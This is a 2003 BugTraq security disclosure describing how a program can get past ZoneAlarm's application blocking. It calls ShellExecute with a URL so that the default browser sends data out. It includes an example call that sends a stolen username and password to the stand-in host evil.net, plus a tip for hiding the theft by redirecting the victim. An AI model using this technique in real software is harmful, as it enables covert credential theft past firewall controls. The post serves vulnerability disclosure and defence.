BugTraq
Bypassing ZoneAlarm (limited) Jun 23 2003 06:12AM
aceh gyuvetch bg (2 replies)


Hi everyone.

I don't know if this is a new issue but it is a simple way to

bypass (in some limited form) ZoneAlarm's Application level

Internet access blocking.

Windows dll shell32.dll exports a well known and documented function called

ShellExecute. From Win32 Programmer's refference:

>HINSTANCE ShellExecute(

> HWND hwnd, // handle to parent window

> LPCTSTR lpOperation, // pointer to string that specifies

> // operation to perform

> LPCTSTR lpFile, // pointer to filename or folder name string

> LPCTSTR lpParameters, // pointer to string that specifies

> //executable-file parameters

> LPCTSTR lpDirectory, // pointer to string that specifies default

directory

> INT nShowCmd // whether file is shown when opened

> );

When the lpFile parameter is an Internet url, windows invokes Internet

Explorer (or more accurately - the default web browser), which in 99% of

the cases is allowed to access Internet, with that url. Example:

ShellExecute(

0,

"open",

"http://evil.net/collect.cgiun=stolen_username&pw=stollen_password"

0,

0,

SW_HIDE //This doesn't work.

//I think it is supposed to hide the window but ...

);

The collect.cgi (after storing stolen_username/stolen_password) could

redirect the user for example to

windowsupdate.microsoft.com,

so that many users will not even suspect anything.

The info leaked is limited by the maximum allowed url length, but that

could be more than enough for a malicious application to send some

username/password/cookie/cc_number info to malicious server.

This was tested on ZoneAlarm 3.1.395 (freeware) but i guess that all

versions can be tricked if the user has granted access to his default

web browser by default (very likely)

VENDOR STATUS:

I thing that this is flaw in the core design of ZoneAlarm

(and/or Windows) and don't see a way it can be fixed.

WORKAROUND:

Do not allow ANY application to access Internet by default and

review each request separately.

Any comments are wellcome.

aceh

[ reply ]
Re: Bypassing ZoneAlarm (limited) Jul 03 2003 06:57PM
Dan Harkless (bugtraq harkless org)
Re: Bypassing ZoneAlarm (limited) Jun 24 2003 07:31PM
Dan Harkless (bugtraq harkless org)


 

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